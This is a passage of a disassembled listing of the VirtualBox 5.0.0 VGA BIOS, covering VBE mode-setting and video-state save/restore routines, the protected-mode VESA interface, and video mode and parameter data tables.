dx, 001ceh ; ba ce 01 call 00570h ; e8 b6 ce mov dx, 001cfh ; ba cf 01 call 00577h ; e8 b7 ce mov dx, word [bp-006h] ; 8b 56 fa add dx, strict byte 0002ah ; 83 c2 2a mov bx, ax ; 89 c3 mov ax, si ; 89 f0 call 02f68h ; e8 9b f8 mov ax, strict word 0004fh ; b8 4f 00 jmp short 036d5h ; eb 03 mov ax, 00100h ; b8 00 01 push SS ; 16 pop ES ; 07 mov bx, word [bp-00ah] ; 8b 5e f6 mov word [es:bx], ax ; 26 89 07 lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn ; c3 vbe_biosfn_set_mode_: ; 0xc36e4 LB 0xe9 push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 sub sp, strict byte 00006h ; 83 ec 06 mov si, ax ; 89 c6 mov word [bp-00ah], dx ; 89 56 f6 test byte [bp-009h], 040h ; f6 46 f7 40 db 00fh, 095h, 0c0h ; setne al ; 0f 95 c0 movzx dx, al ; 0f b6 d0 mov ax, dx ; 89 d0 test dx, dx ; 85 d2 je short 03704h ; 74 03 mov dx, strict word 00040h ; ba 40 00 mov byte [bp-006h], dl ; 88 56 fa test byte [bp-009h], 080h ; f6 46 f7 80 je short 03712h ; 74 05 mov dx, 00080h ; ba 80 00 jmp short 03714h ; eb 02 xor dx, dx ; 31 d2 mov byte [bp-008h], dl ; 88 56 f8 and byte [bp-009h], 001h ; 80 66 f7 01 cmp word [bp-00ah], 00100h ; 81 7e f6 00 01 jnc short 03734h ; 73 12 xor ax, ax ; 31 c0 call 005ddh ; e8 b6 ce movzx ax, byte [bp-00ah] ; 0f b6 46 f6 call 00fdch ; e8 ae d8 mov ax, strict word 0004fh ; b8 4f 00 jmp near 037c3h ; e9 8f 00 mov dx, ax ; 89 c2 mov ax, word [bp-00ah] ; 8b 46 f6 call 034aeh ; e8 72 fd mov bx, ax ; 89 c3 test ax, ax ; 85 c0 je near 037c0h ; 0f 84 7c 00 lea dx, [bx+014h] ; 8d 57 14 mov ax, 003b6h ; b8 b6 03 call 0342eh ; e8 e1 fc mov cx, ax ; 89 c1 lea dx, [bx+016h] ; 8d 57 16 mov ax, 003b6h ; b8 b6 03 call 0342eh ; e8 d6 fc mov di, ax ; 89 c7 lea dx, [bx+01bh] ; 8d 57 1b mov ax, 003b6h ; b8 b6 03 call 03440h ; e8 dd fc mov bl, al ; 88 c3 mov dl, al ; 88 c2 xor ax, ax ; 31 c0 call 005ddh ; e8 71 ce cmp bl, 004h ; 80 fb 04 jne short 03777h ; 75 06 mov ax, strict word 0006ah ; b8 6a 00 call 00fdch ; e8 65 d8 movzx ax, dl ; 0f b6 c2 call 0340fh ; e8 92 fc mov ax, cx ; 89 c8 call 033d1h ; e8 4f fc mov ax, di ; 89 f8 call 033f0h ; e8 69 fc xor ax, ax ; 31 c0 call 00603h ; e8 77 ce mov al, byte [bp-008h] ; 8a 46 f8 or AL, strict byte 001h ; 0c 01 movzx dx, al ; 0f b6 d0 movzx ax, byte [bp-006h] ; 0f b6 46 fa or ax, dx ; 09 d0 call 005ddh ; e8 40 ce call 0070dh ; e8 6d cf mov bx, word [bp-00ah] ; 8b 5e f6 mov dx, 000bah ; ba ba 00 mov ax, strict word 00040h ; b8 40 00 call 02f68h ; e8 bc f7 mov al, byte [bp-008h] ; 8a 46 f8 or AL, strict byte 060h ; 0c 60 movzx bx, al ; 0f b6 d8 mov dx, 00087h ; ba 87 00 mov ax, strict word 00040h ; b8 40 00 call 02f4ch ; e8 8f f7 jmp near 0372eh ; e9 6e ff mov ax, 00100h ; b8 00 01 mov word [ss:si], ax ; 36 89 04 lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn ; c3 vbe_biosfn_read_video_state_size_: ; 0xc37cd LB 0x8 push bp ; 55 mov bp, sp ; 89 e5 mov ax, strict word 00012h ; b8 12 00 pop bp ; 5d retn ; c3 vbe_biosfn_save_video_state_: ; 0xc37d5 LB 0x5b push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push cx ; 51 push si ; 56 push di ; 57 push ax ; 50 mov di, ax ; 89 c7 mov cx, dx ; 89 d1 mov ax, strict word 00004h ; b8 04 00 mov dx, 001ceh ; ba ce 01 out DX, ax ; ef mov dx, 001cfh ; ba cf 01 in ax, DX ; ed mov word [bp-00ah], ax ; 89 46 f6 mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, di ; 89 f8 call 02f68h ; e8 70 f7 inc cx ; 41 inc cx ; 41 test byte [bp-00ah], 001h ; f6 46 f6 01 je short 03827h ; 74 27 mov si, strict word 00001h ; be 01 00 jmp short 0380ah ; eb 05 cmp si, strict byte 00009h ; 83 fe 09 jnbe short 03827h ; 77 1d cmp si, strict byte 00004h ; 83 fe 04 je short 03824h ; 74 15 mov ax, si ; 89 f0 mov dx, 001ceh ; ba ce 01 out DX, ax ; ef mov dx, 001cfh ; ba cf 01 in ax, DX ; ed mov bx, ax ; 89 c3 mov dx, cx ; 89 ca mov ax, di ; 89 f8 call 02f68h ; e8 46 f7 inc cx ; 41 inc cx ; 41 inc si ; 46 jmp short 03805h ; eb de lea sp, [bp-008h] ; 8d 66 f8 pop di ; 5f pop si ; 5e pop cx ; 59 pop bx ; 5b pop bp ; 5d retn ; c3 vbe_biosfn_restore_video_state_: ; 0xc3830 LB 0x9b push bp ; 55 mov bp, sp ; 89 e5 push bx ; 53 push cx ; 51 push si ; 56 push ax ; 50 mov cx, ax ; 89 c1 mov bx, dx ; 89 d3 call 02f5ah ; e8 1c f7 mov word [bp-008h], ax ; 89 46 f8 inc bx ; 43 inc bx ; 43 test byte [bp-008h], 001h ; f6 46 f8 01 jne short 03859h ; 75 10 mov ax, strict word 00004h ; b8 04 00 mov dx, 001ceh ; ba ce 01 out DX, ax ; ef mov ax, word [bp-008h] ; 8b 46 f8 mov dx, 001cfh ; ba cf 01 out DX, ax ; ef jmp short 038c3h ; eb 6a mov ax, strict word 00001h ; b8 01 00 mov dx, 001ceh ; ba ce 01 out DX, ax ; ef mov dx, bx ; 89 da mov ax, cx ; 89 c8 call 02f5ah ; e8 f3 f6 mov dx, 001cfh ; ba cf 01 out DX, ax ; ef inc bx ; 43 inc bx ; 43 mov ax, strict word 00002h ; b8 02 00 mov dx, 001ceh ; ba ce 01 out DX, ax ; ef mov dx, bx ; 89 da mov ax, cx ; 89 c8 call 02f5ah ; e8 df f6 mov dx, 001cfh ; ba cf 01 out DX, ax ; ef inc bx ; 43 inc bx ; 43 mov ax, strict word 00003h ; b8 03 00 mov dx, 001ceh ; ba ce 01 out DX, ax ; ef mov dx, bx ; 89 da mov ax, cx ; 89 c8 call 02f5ah ; e8 cb f6 mov dx, 001cfh ; ba cf 01 out DX, ax ; ef inc bx ; 43 inc bx ; 43 mov ax, strict word 00004h ; b8 04 00 mov dx, 001ceh ; ba ce 01 out DX, ax ; ef mov ax, word [bp-008h] ; 8b 46 f8 mov dx, 001cfh ; ba cf 01 out DX, ax ; ef mov si, strict word 00005h ; be 05 00 jmp short 038adh ; eb 05 cmp si, strict byte 00009h ; 83 fe 09 jnbe short 038c3h ; 77 16 mov ax, si ; 89 f0 mov dx, 001ceh ; ba ce 01 out DX, ax ; ef mov dx, bx ; 89 da mov ax, cx ; 89 c8 call 02f5ah ; e8 a0 f6 mov dx, 001cfh ; ba cf 01 out DX, ax ; ef inc bx ; 43 inc bx ; 43 inc si ; 46 jmp short 038a8h ; eb e5 lea sp, [bp-006h] ; 8d 66 fa pop si ; 5e pop cx ; 59 pop bx ; 5b pop bp ; 5d retn ; c3 vbe_biosfn_save_restore_state_: ; 0xc38cb LB 0x8c push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 push ax ; 50 mov si, ax ; 89 c6 mov word [bp-006h], dx ; 89 56 fa mov ax, bx ; 89 d8 mov bx, word [bp+004h] ; 8b 5e 04 mov di, strict word 0004fh ; bf 4f 00 xor ah, ah ; 30 e4 cmp ax, strict word 00002h ; 3d 02 00 je short 0392ah ; 74 45 cmp ax, strict word 00001h ; 3d 01 00 je short 0390eh ; 74 24 test ax, ax ; 85 c0 jne short 03946h ; 75 58 mov ax, word [bp-006h] ; 8b 46 fa call 02853h ; e8 5f ef mov cx, ax ; 89 c1 test byte [bp-006h], 008h ; f6 46 fa 08 je short 03901h ; 74 05 call 037cdh ; e8 ce fe add ax, cx ; 01 c8 add ax, strict word 0003fh ; 05 3f 00 shr ax, 006h ; c1 e8 06 push SS ; 16 pop ES ; 07 mov word [es:bx], ax ; 26 89 07 jmp short 03949h ; eb 3b push SS ; 16 pop ES ; 07 mov bx, word [es:bx] ; 26 8b 1f mov dx, cx ; 89 ca mov ax, word [bp-006h] ; 8b 46 fa call 02888h ; e8 6d ef test byte [bp-006h], 008h ; f6 46 fa 08 je short 03949h ; 74 28 mov dx, ax ; 89 c2 mov ax, cx ; 89 c8 call 037d5h ; e8 ad fe jmp short 03949h ; eb 1f push SS ; 16 pop ES ; 07 mov bx, word [es:bx] ; 26 8b 1f mov dx, cx ; 89 ca mov ax, word [bp-006h] ; 8b 46 fa call 02bf1h ; e8 ba f2 test byte [bp-006h], 008h ; f6 46 fa 08 je short 03949h ; 74 0c mov dx, ax ; 89 c2 mov ax, cx ; 89 c8 call 03830h ; e8 ec fe jmp short 03949h ; eb 03 mov di, 00100h ; bf 00 01 push SS ; 16 pop ES ; 07 mov word [es:si], di ; 26 89 3c lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn 00002h ; c2 02 00 ; Padding 0xaa9 bytes at 0xc3957 times 2729 db 0 section VBE32 progbits vstart=0x4400 align=1 ; size=0x115 class=CODE group=AUTO vesa_pm_start: ; 0xc4400 LB 0x114 sbb byte [bx+si], al ; 18 00 dec di ; 4f add byte [bx+si], dl ; 00 10 add word [bx+si], cx ; 01 08 add dh, cl ; 00 ce add di, cx ; 01 cf add di, cx ; 01 cf add ax, dx ; 01 d0 add word [bp-048fdh], si ; 01 b6 03 b7 db 003h, 0ffh ; add di, di ; 03 ff db 0ffh db 0ffh jmp word [bp-07dh] ; ff 66 83 sti ; fb add byte [si+005h], dh ; 00 74 05 mov eax, strict dword 066c30100h ; 66 b8 00 01 c3 66 db 08bh, 0c2h ; mov ax, dx ; 8b c2 push edx ; 66 52 push eax ; 66 50 mov edx, strict dword 0b86601ceh ; 66 ba ce 01 66 b8 add ax, 06600h ; 05 00 66 out DX, ax ; ef pop eax ; 66 58 mov edx, strict dword 0ef6601cfh ; 66 ba cf 01 66 ef in eax, DX ; 66 ed pop edx ; 66 5a db 066h, 03bh, 0d0h ; cmp edx, eax ; 66 3b d0 jne short 0444ah ; 75 05 mov eax, strict dword 066c3004fh ; 66 b8 4f 00 c3 66 mov ax, 0014fh ; b8 4f 01 retn ; c3 cmp bl, 080h ; 80 fb 80 je short 0445eh ; 74 0a cmp bl, 000h ; 80 fb 00 je short 0446eh ; 74 15 mov eax, strict dword 052c30100h ; 66 b8 00 01 c3 52 mov edx, strict dword 0a8ec03dah ; 66 ba da 03 ec a8 or byte [di-005h], dh ; 08 75 fb in AL, DX ; ec test AL, strict byte 008h ; a8 08 je short 04468h ; 74 fb pop dx ; 5a push ax ; 50 push cx ; 51 push dx ; 52 push si ; 56 push di ; 57 sal dx, 010h ; c1 e2 10 and cx, strict word 0ffffh ; 81 e1 ff ff add byte [bx+si], al ; 00 00 db 00bh, 0cah ; or cx, dx ; 0b ca sal cx, 002h ; c1 e1 02 db 08bh, 0c1h ; mov ax, cx ; 8b c1 push ax ; 50 mov edx, strict dword 0b86601ceh ; 66 ba ce 01 66 b8 push ES ; 06 add byte [bp-011h], ah ; 00 66 ef mov edx, strict dword 0ed6601cfh ; 66 ba cf 01 66 ed db 00fh, 0b7h, 0c8h ; movzx cx, ax ; 0f b7 c8 mov edx, strict dword 0b86601ceh ; 66 ba ce 01 66 b8 add ax, word [bx+si] ; 03 00 out DX, eax ; 66 ef mov edx, strict dword 0ed6601cfh ; 66 ba cf 01 66 ed db 00fh, 0b7h, 0f0h ; movzx si, ax ; 0f b7 f0 pop ax ; 58 cmp si, strict byte 00004h ; 83 fe 04 je short 044c7h ; 74 17 add si, strict byte 00007h ; 83 c6 07 shr si, 003h ; c1 ee 03 imul cx, si ; 0f af ce db 033h, 0d2h ; xor dx, dx ; 33 d2 div cx ; f7 f1 db 08bh, 0f8h ; mov di, ax ; 8b f8 db 08bh, 0c2h ; mov ax, dx ; 8b c2 db 033h, 0d2h ; xor dx, dx ; 33 d2 div si ; f7 f6 jmp short 044d3h ; eb 0c shr cx, 1 ; d1 e9 db 033h, 0d2h ; xor dx, dx ; 33 d2 div cx ; f7 f1 db 08bh, 0f8h ; mov di, ax ; 8b f8 db 08bh, 0c2h ; mov ax, dx ; 8b c2 sal ax, 1 ; d1 e0 push edx ; 66 52 push eax ; 66 50 mov edx, strict dword 0b86601ceh ; 66 ba ce 01 66 b8 or byte [bx+si], al ; 08 00 out DX, eax ; 66 ef pop eax ; 66 58 mov edx, strict dword 0ef6601cfh ; 66 ba cf 01 66 ef pop edx ; 66 5a db 066h, 08bh, 0c7h ; mov eax, edi ; 66 8b c7 push edx ; 66 52 push eax ; 66 50 mov edx, strict dword 0b86601ceh ; 66 ba ce 01 66 b8 or word [bx+si], ax ; 09 00 out DX, eax ; 66 ef pop eax ; 66 58 mov edx, strict dword 0ef6601cfh ; 66 ba cf 01 66 ef pop edx ; 66 5a pop di ; 5f pop si ; 5e pop dx ; 5a pop cx ; 59 pop ax ; 58 mov eax, strict dword 066c3004fh ; 66 b8 4f 00 c3 66 mov ax, 0014fh ; b8 4f 01 vesa_pm_end: ; 0xc4514 LB 0x1 retn ; c3 ; Padding 0xeb bytes at 0xc4515 times 235 db 0 section _DATA progbits vstart=0x4600 align=1 ; size=0x371e class=DATA group=DGROUP _msg_vga_init: ; 0xc4600 LB 0x2e db 'Oracle VM VirtualBox Version 5.0.0 VGA BIOS', 00dh, 00ah, 000h _vga_modes: ; 0xc462e LB 0x80 db 000h, 000h, 000h, 004h, 000h, 0b8h, 0ffh, 002h, 001h, 000h, 000h, 004h, 000h, 0b8h, 0ffh, 002h db 002h, 000h, 000h, 004h, 000h, 0b8h, 0ffh, 002h, 003h, 000h, 000h, 004h, 000h, 0b8h, 0ffh, 002h db 004h, 001h, 002h, 002h, 000h, 0b8h, 0ffh, 001h, 005h, 001h, 002h, 002h, 000h, 0b8h, 0ffh, 001h db 006h, 001h, 002h, 001h, 000h, 0b8h, 0ffh, 001h, 007h, 000h, 001h, 004h, 000h, 0b0h, 0ffh, 000h db 00dh, 001h, 004h, 004h, 000h, 0a0h, 0ffh, 001h, 00eh, 001h, 004h, 004h, 000h, 0a0h, 0ffh, 001h db 00fh, 001h, 003h, 001h, 000h, 0a0h, 0ffh, 000h, 010h, 001h, 004h, 004h, 000h, 0a0h, 0ffh, 002h db 011h, 001h, 003h, 001h, 000h, 0a0h, 0ffh, 002h, 012h, 001h, 004h, 004h, 000h, 0a0h, 0ffh, 002h db 013h, 001h, 005h, 008h, 000h, 0a0h, 0ffh, 003h, 06ah, 001h, 004h, 004h, 000h, 0a0h, 0ffh, 002h _line_to_vpti: ; 0xc46ae LB 0x10 db 017h, 017h, 018h, 018h, 004h, 005h, 006h, 007h, 00dh, 00eh, 011h, 012h, 01ah, 01bh, 01ch, 01dh _dac_regs: ; 0xc46be LB 0x4 dd 0ff3f3f3fh _video_param_table: ; 0xc46c2 LB 0x780 db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 028h, 018h, 008h, 000h, 008h, 009h, 003h, 000h, 002h, 063h, 02dh, 027h, 028h, 090h, 02bh, 080h db 0bfh, 01fh, 000h, 0c1h, 000h, 000h, 000h, 000h, 000h, 000h, 09ch, 08eh, 08fh, 014h, 000h, 096h db 0b9h, 0a2h, 0ffh, 000h, 013h, 015h, 017h, 002h, 004h, 006h, 007h, 010h, 011h, 012h, 013h, 014h db 015h, 016h, 017h, 001h, 000h, 003h, 000h, 000h, 000h, 000h, 000h, 000h, 030h, 00fh, 00fh, 0ffh db 028h, 018h, 008h, 000h, 008h, 009h, 003h, 000h, 002h, 063h, 02dh, 027h, 028h, 090h, 02bh, 080h db 0bfh, 01fh, 000h, 0c1h, 000h, 000h, 000h, 000h, 000h, 000h, 09ch, 08eh, 08fh, 014h, 000h, 096h db 0b9h, 0a2h, 0ffh, 000h, 013h, 015h, 017h, 002h, 004h, 006h, 007h, 010h, 011h, 012h, 013h, 014h db 015h, 016h, 017h, 001h, 000h, 003h, 000h, 000h, 000h, 000h, 000h, 000h, 030h, 00fh, 00fh, 0ffh db 050h, 018h, 008h, 000h, 010h, 001h, 001h, 000h, 006h, 063h, 05fh, 04fh, 050h, 082h, 054h, 080h db 0bfh, 01fh, 000h, 0c1h, 000h, 000h, 000h, 000h, 000h, 000h, 09ch, 08eh, 08fh, 028h, 000h, 096h db 0b9h, 0c2h, 0ffh, 000h, 017h, 017h, 017h, 017h, 017h, 017h, 017h, 017h, 017h, 017h, 017h, 017h db 017h, 017h, 017h, 001h, 000h, 001h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 00dh, 00fh, 0ffh db 050h, 018h, 010h, 000h, 010h, 000h, 003h, 000h, 002h, 066h, 05fh, 04fh, 050h, 082h, 055h, 081h db 0bfh, 01fh, 000h, 04fh, 00dh, 00eh, 000h, 000h, 000h, 000h, 09ch, 08eh, 08fh, 028h, 00fh, 096h db 0b9h, 0a3h, 0ffh, 000h, 008h, 008h, 008h, 008h, 008h, 008h, 008h, 010h, 018h, 018h, 018h, 018h db 018h, 018h, 018h, 00eh, 000h, 00fh, 008h, 000h, 000h, 000h, 000h, 000h, 010h, 00ah, 00fh, 0ffh db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 028h, 018h, 008h, 000h, 020h, 009h, 00fh, 000h, 006h, 063h, 02dh, 027h, 028h, 090h, 02bh, 080h db 0bfh, 01fh, 000h, 0c0h, 000h, 000h, 000h, 000h, 000h, 000h, 09ch, 08eh, 08fh, 014h, 000h, 096h db 0b9h, 0e3h, 0ffh, 000h, 001h, 002h, 003h, 004h, 005h, 006h, 007h, 010h, 011h, 012h, 013h, 014h db 015h, 016h, 017h, 001h, 000h, 00fh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 005h, 00fh, 0ffh db 050h, 018h, 008h, 000h, 040h, 001h, 00fh, 000h, 006h, 063h, 05fh, 04fh, 050h, 082h, 054h, 080h db 0bfh, 01fh, 000h, 0c0h, 000h, 000h, 000h, 000h, 000h, 000h, 09ch, 08eh, 08fh, 028h, 000h, 096h db 0b9h, 0e3h, 0ffh, 000h, 001h, 002h, 003h, 004h, 005h, 006h, 007h, 010h, 011h, 012h, 013h, 014h db 015h, 016h, 017h, 001h, 000h, 00fh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 005h, 00fh, 0ffh db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 050h, 018h, 00eh, 000h, 080h, 001h, 00fh, 000h, 006h, 0a3h, 05fh, 04fh, 050h, 082h, 054h, 080h db 0bfh, 01fh, 000h, 040h, 000h, 000h, 000h, 000h, 000h, 000h, 083h, 085h, 05dh, 028h, 00fh, 063h db 0bah, 0e3h, 0ffh, 000h, 008h, 000h, 000h, 018h, 018h, 000h, 000h, 000h, 008h, 000h, 000h, 000h db 018h, 000h, 000h, 001h, 000h, 001h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 005h, 00fh, 0ffh db 050h, 018h, 00eh, 000h, 080h, 001h, 00fh, 000h, 006h, 0a3h, 05fh, 04fh, 050h, 082h, 054h, 080h db 0bfh, 01fh, 000h, 040h, 000h, 000h, 000h, 000h, 000h, 000h, 083h, 085h, 05dh, 028h, 00fh, 063h db 0bah, 0e3h, 0ffh, 000h, 001h, 002h, 003h, 004h, 005h, 014h, 007h, 038h, 039h, 03ah, 03bh, 03ch db 03dh, 03eh, 03fh, 001h, 000h, 00fh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 005h, 00fh, 0ffh db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 050h, 018h, 00eh, 000h, 010h, 000h, 003h, 000h, 002h, 067h, 05fh, 04fh, 050h, 082h, 055h, 081h db 0bfh, 01fh, 000h, 04fh, 00dh, 00eh, 000h, 000h, 000h, 000h, 09ch, 08eh, 08fh, 028h, 01fh, 096h db 0b9h, 0a3h, 0ffh, 000h, 001h, 002h, 003h, 004h, 005h, 014h, 007h, 038h, 039h, 03ah, 03bh, 03ch db 03dh, 03eh, 03fh, 00ch, 000h, 00fh, 008h, 000h, 000h, 000h, 000h, 000h, 010h, 00eh, 00fh, 0ffh db 028h, 018h, 010h, 000h, 008h, 008h, 003h, 000h, 002h, 067h, 02dh, 027h, 028h, 090h, 02bh, 0a0h db 0bfh, 01fh, 000h, 04fh, 00dh, 00eh, 000h, 000h, 000h, 000h, 09ch, 08eh, 08fh, 014h, 01fh, 096h db 0b9h, 0a3h, 0ffh, 000h, 001h, 002h, 003h, 004h, 005h, 014h, 007h, 038h, 039h, 03ah, 03bh, 03ch db 03dh, 03eh, 03fh, 00ch, 000h, 00fh, 008h, 000h, 000h, 000h, 000h, 000h, 010h, 00eh, 00fh, 0ffh db 050h, 018h, 010h, 000h, 010h, 000h, 003h, 000h, 002h, 067h, 05fh, 04fh, 050h, 082h, 055h, 081h db 0bfh, 01fh, 000h, 04fh, 00dh, 00eh, 000h, 000h, 000h, 000h, 09ch, 08eh, 08fh, 028h, 01fh, 096h db 0b9h, 0a3h, 0ffh, 000h, 001h, 002h, 003h, 004h, 005h, 014h, 007h, 038h, 039h, 03ah, 03bh, 03ch db 03dh, 03eh, 03fh, 00ch, 000h, 00fh, 008h, 000h, 000h, 000h, 000h, 000h, 010h, 00eh, 00fh, 0ffh db 050h, 018h, 010h, 000h, 010h, 000h, 003h, 000h, 002h, 066h, 05fh, 04fh, 050h, 082h, 055h, 081h db 0bfh, 01fh, 000h, 04fh, 00dh, 00eh, 000h, 000h, 000h, 000h, 09ch, 08eh, 08fh, 028h, 00fh, 096h db 0b9h, 0a3h, 0ffh, 000h, 008h, 008h, 008h, 008h, 008h, 008h, 008h, 010h, 018h, 018h, 018h, 018h db 018h, 018h, 018h, 00eh, 000h, 00fh, 008h, 000h, 000h, 000h, 000h, 000h, 010h, 00ah, 00fh, 0ffh db 050h, 01dh, 010h, 000h, 000h, 001h, 00fh, 000h, 006h, 0e3h, 05fh, 04fh, 050h, 082h, 054h, 080h db 00bh, 03eh, 000h, 040h, 000h, 000h, 000h, 000h, 000h, 000h, 0eah, 08ch, 0dfh, 028h, 000h, 0e7h db 004h, 0e3h, 0ffh, 000h, 03fh, 000h, 03fh, 000h, 03fh, 000h, 03fh, 000h, 03fh, 